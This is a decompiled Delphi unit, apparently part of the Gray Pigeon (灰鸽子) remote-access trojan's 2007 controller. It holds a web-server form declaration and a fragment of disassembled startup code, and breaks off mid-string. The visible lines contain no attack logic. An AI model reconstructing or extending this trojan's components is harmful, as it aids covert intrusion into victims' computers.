webserverunit.pas

灰鸽子2007VIP版源码

unit WebServerUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TWebServerForm=class(TForm)
    DSF: TspDynamicSkinForm;
    Label1: TspSkinStdLabel;
    Label2: TspSkinStdLabel;
    FilenameEdit1: TspSkinEdit;
    PortEdit: TspSkinEdit;
    StartButton: TspSkinButton;
    StopButton: TspSkinButton;
    Panel1: TspSkinPanel;
    Memo1: TspSkinMemo;
    spSkinScrollBar15: TspSkinScrollBar;
    ServerSocket1: TServerSocket;
    AutoSaveWebInf: TspSkinCheckRadioBox;
    AutoStatWeb: TspSkinCheckRadioBox;
    procedure StartButtonClick(Sender : TObject);
    procedure ServerSocket1GetThread(Sender : TObject);
    procedure FormCreate(Sender : TObject);
    procedure ServerSocket1ThreadEnd(Sender : TObject);
    procedure FormDestroy(Sender : TObject);
    procedure FilenameEdit1ButtonClick(Sender : TObject);
    procedure StopButtonClick(Sender : TObject);
    procedure AutoSaveWebInfClick(Sender : TObject);
    procedure FilenameEdit1Change(Sender : TObject);
    procedure PortEditChange(Sender : TObject);
    procedure AutoStatWebClick(Sender : TObject);
    procedure _PROC_005AE974(Sender : TObject);
    procedure _PROC_005AEF21(Sender : TObject);
    procedure _PROC_005AEF64(Sender : TObject);
    procedure _PROC_005AEF6C(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  WebServerForm: TWebServerForm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TWebServerForm.StartButtonClick(Sender : TObject);
begin
(*
005AE530   55                     push    ebp
005AE531   8BEC                   mov     ebp, esp
005AE533   33C9                   xor     ecx, ecx
005AE535   51                     push    ecx
005AE536   51                     push    ecx
005AE537   51                     push    ecx
005AE538   51                     push    ecx
005AE539   51                     push    ecx
005AE53A   53                     push    ebx
005AE53B   56                     push    esi
005AE53C   57                     push    edi
005AE53D   8945FC                 mov     [ebp-$04], eax
005AE540   33C0                   xor     eax, eax
005AE542   55                     push    ebp

* Possible String Reference to: '轭\